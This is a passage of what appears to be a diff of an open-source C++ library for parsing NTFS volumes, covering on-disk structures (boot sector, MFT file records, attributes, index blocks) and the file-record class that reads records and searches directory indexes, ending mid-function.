DWORD ClustersPerFileRecord;
|
||||
DWORD ClustersPerIndexBlock;
|
||||
BYTE VolumeSN[8];
|
||||
|
||||
// boot code
|
||||
BYTE Code[430];
|
||||
|
||||
//0xAA55
|
||||
BYTE _AA;
|
||||
BYTE _55;
|
||||
} NTFS_BPB;
|
||||
#pragma pack()
|
||||
|
||||
|
||||
// MFT Indexes
|
||||
#define MFT_IDX_MFT 0
|
||||
#define MFT_IDX_MFT_MIRR 1
|
||||
#define MFT_IDX_LOG_FILE 2
|
||||
#define MFT_IDX_VOLUME 3
|
||||
#define MFT_IDX_ATTR_DEF 4
|
||||
#define MFT_IDX_ROOT 5
|
||||
#define MFT_IDX_BITMAP 6
|
||||
#define MFT_IDX_BOOT 7
|
||||
#define MFT_IDX_BAD_CLUSTER 8
|
||||
#define MFT_IDX_SECURE 9
|
||||
#define MFT_IDX_UPCASE 10
|
||||
#define MFT_IDX_EXTEND 11
|
||||
#define MFT_IDX_RESERVED12 12
|
||||
#define MFT_IDX_RESERVED13 13
|
||||
#define MFT_IDX_RESERVED14 14
|
||||
#define MFT_IDX_RESERVED15 15
|
||||
#define MFT_IDX_USER 16
|
||||
|
||||
|
||||
/******************************
|
||||
File Record
|
||||
---------------------
|
||||
| File Record Header|
|
||||
---------------------
|
||||
| Attribute 1 |
|
||||
---------------------
|
||||
| Attribute 2 |
|
||||
---------------------
|
||||
| ...... |
|
||||
---------------------
|
||||
| 0xFFFFFFFF |
|
||||
---------------------
|
||||
*******************************/
|
||||
|
||||
// File Record Header
|
||||
|
||||
#define FILE_RECORD_MAGIC 'ELIF'
|
||||
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
|
||||
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
|
||||
|
||||
typedef struct tagFILE_RECORD_HEADER
|
||||
{
|
||||
DWORD Magic; // "FILE"
|
||||
WORD OffsetOfUS; // Offset of Update Sequence
|
||||
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
|
||||
ULONGLONG LSN; // $LogFile Sequence Number
|
||||
WORD SeqNo; // Sequence number
|
||||
WORD Hardlinks; // Hard link count
|
||||
WORD OffsetOfAttr; // Offset of the first Attribute
|
||||
WORD Flags; // Flags
|
||||
DWORD RealSize; // Real size of the FILE record
|
||||
DWORD AllocSize; // Allocated size of the FILE record
|
||||
ULONGLONG RefToBase; // File reference to the base FILE record
|
||||
WORD NextAttrId; // Next Attribute Id
|
||||
WORD Align; // Align to 4 byte boundary
|
||||
DWORD RecordNo; // Number of this MFT Record
|
||||
} FILE_RECORD_HEADER;
|
||||
|
||||
|
||||
/******************************
|
||||
Attribute
|
||||
--------------------
|
||||
| Attribute Header |
|
||||
--------------------
|
||||
| Attribute Data |
|
||||
--------------------
|
||||
*******************************/
|
||||
|
||||
// Attribute Header
|
||||
|
||||
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
|
||||
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
|
||||
#define ATTR_TYPE_FILE_NAME 0x30
|
||||
#define ATTR_TYPE_OBJECT_ID 0x40
|
||||
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
|
||||
#define ATTR_TYPE_VOLUME_NAME 0x60
|
||||
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
|
||||
#define ATTR_TYPE_DATA 0x80
|
||||
#define ATTR_TYPE_INDEX_ROOT 0x90
|
||||
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
|
||||
#define ATTR_TYPE_BITMAP 0xB0
|
||||
#define ATTR_TYPE_REPARSE_POINT 0xC0
|
||||
#define ATTR_TYPE_EA_INFORMATION 0xD0
|
||||
#define ATTR_TYPE_EA 0xE0
|
||||
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
|
||||
|
||||
#define ATTR_FLAG_COMPRESSED 0x0001
|
||||
#define ATTR_FLAG_ENCRYPTED 0x4000
|
||||
#define ATTR_FLAG_SPARSE 0x8000
|
||||
|
||||
typedef struct tagATTR_HEADER_COMMON
|
||||
{
|
||||
DWORD Type; // Attribute Type
|
||||
DWORD TotalSize; // Length (including this header)
|
||||
BYTE NonResident; // 0 - resident, 1 - non resident
|
||||
BYTE NameLength; // name length in words
|
||||
WORD NameOffset; // offset to the name
|
||||
WORD Flags; // Flags
|
||||
WORD Id; // Attribute Id
|
||||
} ATTR_HEADER_COMMON;
|
||||
|
||||
typedef struct tagATTR_HEADER_RESIDENT
|
||||
{
|
||||
ATTR_HEADER_COMMON Header; // Common data structure
|
||||
DWORD AttrSize; // Length of the attribute body
|
||||
WORD AttrOffset; // Offset to the Attribute
|
||||
BYTE IndexedFlag; // Indexed flag
|
||||
BYTE Padding; // Padding
|
||||
} ATTR_HEADER_RESIDENT;
|
||||
|
||||
typedef struct tagATTR_HEADER_NON_RESIDENT
|
||||
{
|
||||
ATTR_HEADER_COMMON Header; // Common data structure
|
||||
ULONGLONG StartVCN; // Starting VCN
|
||||
ULONGLONG LastVCN; // Last VCN
|
||||
WORD DataRunOffset; // Offset to the Data Runs
|
||||
WORD CompUnitSize; // Compression unit size
|
||||
DWORD Padding; // Padding
|
||||
ULONGLONG AllocSize; // Allocated size of the attribute
|
||||
ULONGLONG RealSize; // Real size of the attribute
|
||||
ULONGLONG IniSize; // Initialized data size of the stream
|
||||
} ATTR_HEADER_NON_RESIDENT;
|
||||
|
||||
|
||||
// Attribute: STANDARD_INFORMATION
|
||||
|
||||
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
|
||||
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
|
||||
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
|
||||
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
|
||||
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
|
||||
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
|
||||
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
|
||||
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
|
||||
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
|
||||
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
|
||||
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
|
||||
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
|
||||
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
|
||||
|
||||
typedef struct tagATTR_STANDARD_INFORMATION
|
||||
{
|
||||
ULONGLONG CreateTime; // File creation time
|
||||
ULONGLONG AlterTime; // File altered time
|
||||
ULONGLONG MFTTime; // MFT changed time
|
||||
ULONGLONG ReadTime; // File read time
|
||||
DWORD Permission; // Dos file permission
|
||||
DWORD MaxVersionNo; // Maxim number of file versions
|
||||
DWORD VersionNo; // File version number
|
||||
DWORD ClassId; // Class Id
|
||||
DWORD OwnerId; // Owner Id
|
||||
DWORD SecurityId; // Security Id
|
||||
ULONGLONG QuotaCharged; // Quota charged
|
||||
ULONGLONG USN; // USN Journel
|
||||
} ATTR_STANDARD_INFORMATION;
|
||||
|
||||
|
||||
// Attribute: ATTRIBUTE_LIST
|
||||
|
||||
typedef struct tagATTR_ATTRIBUTE_LIST
|
||||
{
|
||||
DWORD AttrType; // Attribute type
|
||||
WORD RecordSize; // Record length
|
||||
BYTE NameLength; // Name length in characters
|
||||
BYTE NameOffset; // Name offset
|
||||
ULONGLONG StartVCN; // Start VCN
|
||||
ULONGLONG BaseRef; // Base file reference to the attribute
|
||||
WORD AttrId; // Attribute Id
|
||||
} ATTR_ATTRIBUTE_LIST;
|
||||
|
||||
// Attribute: FILE_NAME
|
||||
|
||||
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
|
||||
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
|
||||
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
|
||||
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
|
||||
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
|
||||
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
|
||||
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
|
||||
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
|
||||
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
|
||||
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
|
||||
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
|
||||
#define ATTR_FILENAME_FLAG_NCI 0x00002000
|
||||
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
|
||||
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
|
||||
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
|
||||
|
||||
#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
|
||||
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
|
||||
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
|
||||
|
||||
typedef struct tagATTR_FILE_NAME
|
||||
{
|
||||
ULONGLONG ParentRef; // File reference to the parent directory
|
||||
ULONGLONG CreateTime; // File creation time
|
||||
ULONGLONG AlterTime; // File altered time
|
||||
ULONGLONG MFTTime; // MFT changed time
|
||||
ULONGLONG ReadTime; // File read time
|
||||
ULONGLONG AllocSize; // Allocated size of the file
|
||||
ULONGLONG RealSize; // Real size of the file
|
||||
DWORD Flags; // Flags
|
||||
DWORD ER; // Used by EAs and Reparse
|
||||
BYTE NameLength; // Filename length in characters
|
||||
BYTE NameSpace; // Filename space
|
||||
WORD Name[1]; // Filename
|
||||
} ATTR_FILE_NAME;
|
||||
|
||||
|
||||
// Attribute: VOLUME_INFORMATION
|
||||
|
||||
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
|
||||
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
|
||||
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
|
||||
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
|
||||
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
|
||||
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
|
||||
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
|
||||
|
||||
typedef struct tagATTR_VOLUME_INFORMATION
|
||||
{
|
||||
BYTE Reserved1[8]; // Always 0 ?
|
||||
BYTE MajorVersion; // Major version
|
||||
BYTE MinorVersion; // Minor version
|
||||
WORD Flags; // Flags
|
||||
BYTE Reserved2[4]; // Always 0 ?
|
||||
} ATTR_VOLUME_INFORMATION;
|
||||
|
||||
|
||||
// Attribute: INDEX_ROOT
|
||||
/******************************
|
||||
INDEX_ROOT
|
||||
---------------------
|
||||
| Index Root Header |
|
||||
---------------------
|
||||
| Index Header |
|
||||
---------------------
|
||||
| Index Entry |
|
||||
---------------------
|
||||
| Index Entry |
|
||||
---------------------
|
||||
| ...... |
|
||||
---------------------
|
||||
*******************************/
|
||||
|
||||
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
|
||||
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
|
||||
|
||||
typedef struct tagATTR_INDEX_ROOT
|
||||
{
|
||||
// Index Root Header
|
||||
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
|
||||
DWORD CollRule; // Collation rule
|
||||
DWORD IBSize; // Size of index block
|
||||
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
|
||||
BYTE Padding1[3]; // Padding
|
||||
// Index Header
|
||||
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
|
||||
DWORD TotalEntrySize; // Total size of the index entries
|
||||
DWORD AllocEntrySize; // Allocated size of the index entries
|
||||
BYTE Flags; // Flags
|
||||
BYTE Padding2[3]; // Padding
|
||||
} ATTR_INDEX_ROOT;
|
||||
|
||||
|
||||
// INDEX ENTRY
|
||||
|
||||
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
|
||||
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
|
||||
|
||||
typedef struct tagINDEX_ENTRY
|
||||
{
|
||||
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
|
||||
WORD Size; // Length of the index entry
|
||||
WORD StreamSize; // Length of the stream
|
||||
BYTE Flags; // Flags
|
||||
BYTE Padding[3]; // Padding
|
||||
BYTE Stream[1]; // Stream
|
||||
// VCN of the sub node in Index Allocation, Offset = Size - 8
|
||||
} INDEX_ENTRY;
|
||||
|
||||
|
||||
// INDEX BLOCK
|
||||
/******************************
|
||||
INDEX_BLOCK
|
||||
-----------------------
|
||||
| Index Block Header |
|
||||
-----------------------
|
||||
| Index Header |
|
||||
-----------------------
|
||||
| Index Entry |
|
||||
-----------------------
|
||||
| Index Entry |
|
||||
-----------------------
|
||||
| ...... |
|
||||
-----------------------
|
||||
*******************************/
|
||||
|
||||
#define INDEX_BLOCK_MAGIC 'XDNI'
|
||||
|
||||
typedef struct tagINDEX_BLOCK
|
||||
{
|
||||
// Index Block Header
|
||||
DWORD Magic; // "INDX"
|
||||
WORD OffsetOfUS; // Offset of Update Sequence
|
||||
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
|
||||
ULONGLONG LSN; // $LogFile Sequence Number
|
||||
ULONGLONG VCN; // VCN of this index block in the index allocation
|
||||
// Index Header
|
||||
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
|
||||
DWORD TotalEntrySize; // Total size of the index entries
|
||||
DWORD AllocEntrySize; // Allocated size of index entries
|
||||
BYTE NotLeaf; // 1 if not leaf node (has children)
|
||||
BYTE Padding[3]; // Padding
|
||||
} INDEX_BLOCK;
|
||||
|
||||
#endif
|
||||
|
|
@ -0,0 +1,989 @@
|
|||
/*
|
||||
* NTFS Volume and File Record Class
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_FILERECORD_H_CYB70289
|
||||
#define __NTFS_FILERECORD_H_CYB70289
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// NTFS Volume forward declaration
|
||||
///////////////////////////////////////
|
||||
class CNTFSVolume
|
||||
{
|
||||
public:
|
||||
CNTFSVolume(_TCHAR volume);
|
||||
virtual ~CNTFSVolume();
|
||||
|
||||
friend class CFileRecord;
|
||||
friend class CAttrBase;
|
||||
|
||||
private:
|
||||
WORD SectorSize;
|
||||
DWORD ClusterSize;
|
||||
DWORD FileRecordSize;
|
||||
DWORD IndexBlockSize;
|
||||
ULONGLONG MFTAddr;
|
||||
HANDLE hVolume;
|
||||
BOOL VolumeOK;
|
||||
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
|
||||
WORD Version;
|
||||
|
||||
// MFT file records ($MFT file itself) may be fragmented
|
||||
// Get $MFT Data attribute to translate FileRecord to correct disk offset
|
||||
CFileRecord *MFTRecord; // $MFT File Record
|
||||
const CAttrBase *MFTData; // $MFT Data Attribute
|
||||
|
||||
BOOL OpenVolume(_TCHAR volume);
|
||||
|
||||
public:
|
||||
__inline BOOL IsVolumeOK() const;
|
||||
__inline WORD GetVersion() const;
|
||||
__inline ULONGLONG GetRecordsCount() const;
|
||||
|
||||
__inline DWORD GetSectorSize() const;
|
||||
__inline DWORD GetClusterSize() const;
|
||||
__inline DWORD GetFileRecordSize() const;
|
||||
__inline DWORD GetIndexBlockSize() const;
|
||||
__inline ULONGLONG GetMFTAddr() const;
|
||||
|
||||
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
|
||||
__inline void ClearAttrRawCB();
|
||||
}; // CNTFSVolume
|
||||
|
||||
|
||||
////////////////////////////////////////////
|
||||
// List to hold Attributes of the same type
|
||||
////////////////////////////////////////////
|
||||
typedef class CSList<CAttrBase> CAttrList;
|
||||
|
||||
// It seems VC6.0 doesn't support template class friends
|
||||
#if _MSC_VER <= 1200
|
||||
class CAttrResident;
|
||||
class CAttrNonResident;
|
||||
template <class TYPE_RESIDENT> class CAttr_AttrList;
|
||||
#endif
|
||||
|
||||
////////////////////////////////
|
||||
// Process a single File Record
|
||||
////////////////////////////////
|
||||
class CFileRecord
|
||||
{
|
||||
public:
|
||||
CFileRecord(const CNTFSVolume *volume);
|
||||
virtual ~CFileRecord();
|
||||
|
||||
friend class CAttrBase;
|
||||
#if _MSC_VER <= 1200
|
||||
// Walk around VC6.0 compiler defect
|
||||
friend class CAttr_AttrList<CAttrResident>;
|
||||
friend class CAttr_AttrList<CAttrNonResident>;
|
||||
#else
|
||||
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
|
||||
#endif
|
||||
|
||||
private:
|
||||
const CNTFSVolume *Volume;
|
||||
FILE_RECORD_HEADER *FileRecord;
|
||||
ULONGLONG FileReference;
|
||||
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
|
||||
DWORD AttrMask;
|
||||
CAttrList AttrList[ATTR_NUMS]; // Attributes
|
||||
|
||||
void ClearAttrs();
|
||||
BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
|
||||
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
|
||||
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
|
||||
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
|
||||
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
|
||||
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
|
||||
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
|
||||
|
||||
public:
|
||||
BOOL ParseFileRecord(ULONGLONG fileRef);
|
||||
BOOL ParseAttrs();
|
||||
|
||||
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
|
||||
__inline void ClearAttrRawCB();
|
||||
|
||||
__inline void SetAttrMask(DWORD mask);
|
||||
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
|
||||
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
|
||||
const CAttrBase* FindNextAttr(DWORD attrType) const;
|
||||
|
||||
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
|
||||
__inline ULONGLONG GetFileSize() const;
|
||||
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
|
||||
|
||||
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
|
||||
__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
|
||||
const CAttrBase* FindStream(_TCHAR *name = NULL);
|
||||
|
||||
__inline BOOL IsDeleted() const;
|
||||
__inline BOOL IsDirectory() const;
|
||||
__inline BOOL IsReadOnly() const;
|
||||
__inline BOOL IsHidden() const;
|
||||
__inline BOOL IsSystem() const;
|
||||
__inline BOOL IsCompressed() const;
|
||||
__inline BOOL IsEncrypted() const;
|
||||
__inline BOOL IsSparse() const;
|
||||
}; // CFileRecord
|
||||
|
||||
|
||||
#include "NTFS_Attribute.h"
|
||||
|
||||
|
||||
CFileRecord::CFileRecord(const CNTFSVolume *volume)
|
||||
{
|
||||
_ASSERT(volume);
|
||||
Volume = volume;
|
||||
FileRecord = NULL;
|
||||
FileReference = (ULONGLONG)-1;
|
||||
|
||||
ClearAttrRawCB();
|
||||
|
||||
// Default to parse all attributes
|
||||
AttrMask = MASK_ALL;
|
||||
}
|
||||
|
||||
CFileRecord::~CFileRecord()
|
||||
{
|
||||
ClearAttrs();
|
||||
|
||||
if (FileRecord)
|
||||
delete FileRecord;
|
||||
}
|
||||
|
||||
// Free all CAttr_xxx
|
||||
void CFileRecord::ClearAttrs()
|
||||
{
|
||||
for (int i=0; i<ATTR_NUMS; i++)
|
||||
{
|
||||
AttrList[i].RemoveAll();
|
||||
}
|
||||
}
|
||||
|
||||
// Verify US and update sectors
|
||||
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i=0; i<sectors; i++)
|
||||
{
|
||||
sector += ((Volume->SectorSize>>1) - 1);
|
||||
if (*sector != usn)
|
||||
return FALSE; // USN error
|
||||
*sector = usarray[i]; // Write back correct data
|
||||
sector++;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Call user defined Callback routines for an attribute
|
||||
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
|
||||
{
|
||||
*bDiscard = FALSE;
|
||||
|
||||
if (AttrRawCallBack[attType])
|
||||
AttrRawCallBack[attType](ahc, bDiscard);
|
||||
else if (Volume->AttrRawCallBack[attType])
|
||||
Volume->AttrRawCallBack[attType](ahc, bDiscard);
|
||||
}
|
||||
|
||||
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
|
||||
{
|
||||
switch (ahc->Type)
|
||||
{
|
||||
case ATTR_TYPE_STANDARD_INFORMATION:
|
||||
return new CAttr_StdInfo(ahc, this);
|
||||
|
||||
case ATTR_TYPE_ATTRIBUTE_LIST:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
return new CAttr_AttrList<CAttrResident>(ahc, this);
|
||||
|
||||
case ATTR_TYPE_FILE_NAME:
|
||||
return new CAttr_FileName(ahc, this);
|
||||
|
||||
case ATTR_TYPE_VOLUME_NAME:
|
||||
return new CAttr_VolName(ahc, this);
|
||||
|
||||
case ATTR_TYPE_VOLUME_INFORMATION:
|
||||
return new CAttr_VolInfo(ahc, this);
|
||||
|
||||
case ATTR_TYPE_DATA:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_Data<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
return new CAttr_Data<CAttrResident>(ahc, this);
|
||||
|
||||
case ATTR_TYPE_INDEX_ROOT:
|
||||
return new CAttr_IndexRoot(ahc, this);
|
||||
|
||||
case ATTR_TYPE_INDEX_ALLOCATION:
|
||||
return new CAttr_IndexAlloc(ahc, this);
|
||||
|
||||
case ATTR_TYPE_BITMAP:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
// Resident Bitmap may exist in a directory's FileRecord
|
||||
// or in $MFT for a very small volume in theory
|
||||
return new CAttr_Bitmap<CAttrResident>(ahc, this);
|
||||
|
||||
// Unhandled Attributes
|
||||
default:
|
||||
*bUnhandled = TRUE;
|
||||
if (ahc->NonResident)
|
||||
return new CAttrNonResident(ahc, this);
|
||||
else
|
||||
return new CAttrResident(ahc, this);
|
||||
}
|
||||
}
|
||||
|
||||
// Parse a single Attribute
|
||||
// Return False on error
|
||||
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
|
||||
{
|
||||
DWORD attrIndex = ATTR_INDEX(ahc->Type);
|
||||
if (attrIndex < ATTR_NUMS)
|
||||
{
|
||||
BOOL bDiscard = FALSE;
|
||||
UserCallBack(attrIndex, ahc, &bDiscard);
|
||||
|
||||
if (!bDiscard)
|
||||
{
|
||||
BOOL bUnhandled = FALSE;
|
||||
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
|
||||
if (attr)
|
||||
{
|
||||
if (bUnhandled)
|
||||
{
|
||||
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
|
||||
}
|
||||
AttrList[attrIndex].InsertEntry(attr);
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Read File Record
|
||||
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
|
||||
{
|
||||
FILE_RECORD_HEADER *fr = NULL;
|
||||
DWORD len;
|
||||
|
||||
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
|
||||
{
|
||||
// Take as continuous disk allocation
|
||||
LARGE_INTEGER frAddr;
|
||||
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
|
||||
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
|
||||
|
||||
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
|
||||
return FALSE;
|
||||
else
|
||||
{
|
||||
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
|
||||
|
||||
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
|
||||
&& len==Volume->FileRecordSize)
|
||||
return fr;
|
||||
else
|
||||
{
|
||||
delete fr;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// May be fragmented $MFT
|
||||
ULONGLONG frAddr;
|
||||
frAddr = (Volume->FileRecordSize) * fileRef;
|
||||
|
||||
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
|
||||
|
||||
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
|
||||
&& len == Volume->FileRecordSize)
|
||||
return fr;
|
||||
else
|
||||
{
|
||||
delete fr;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Read File Record, verify and patch the US (update sequence)
|
||||
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
|
||||
{
|
||||
// Clear previous data
|
||||
ClearAttrs();
|
||||
if (FileRecord)
|
||||
{
|
||||
delete FileRecord;
|
||||
FileRecord = NULL;
|
||||
}
|
||||
|
||||
FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
|
||||
if (fr == NULL)
|
||||
{
|
||||
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
|
||||
|
||||
FileReference = (ULONGLONG)-1;
|
||||
}
|
||||
else
|
||||
{
|
||||
FileReference = fileRef;
|
||||
|
||||
if (fr->Magic == FILE_RECORD_MAGIC)
|
||||
{
|
||||
// Patch US
|
||||
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
|
||||
WORD usn = *usnaddr;
|
||||
WORD *usarray = usnaddr + 1;
|
||||
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
|
||||
{
|
||||
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
|
||||
FileRecord = fr;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Update Sequence Number error\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Invalid file record\n");
|
||||
}
|
||||
|
||||
delete fr;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Visit IndexBlocks recursivly to find a specific FileName
|
||||
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
|
||||
{
|
||||
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
|
||||
if (ia == NULL)
|
||||
return FALSE;
|
||||
|
||||
CIndexBlock ib;
|
||||
if (ia->ParseIndexBlock(vcn, ib))
|
||||
{
|
||||
CIndexEntry *ie = ib.FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->HasName())
|
||||
{
|
||||
// Compare name
|
||||
int i = ie->Compare(fileName);
|
||||
if (i == 0)
|
||||
{
|
||||
ieFound = *ie;
|
||||
return TRUE;
|
||||
}
|
||||
else if (i < 0) // fileName is smaller than IndexEntry
|
||||
{
|
||||
// Visit SubNode
|
||||
if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock), recursive call
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE; // not found
|
||||
}
|
||||
// Just step forward if fileName is bigger than IndexEntry
|
||||
}
|
||||
else if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock), recursive call
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ie = ib.FindNextEntry();
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Traverse SubNode recursivly in ascending order
|
||||
// Call user defined callback routine once found an subentry
|
||||
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
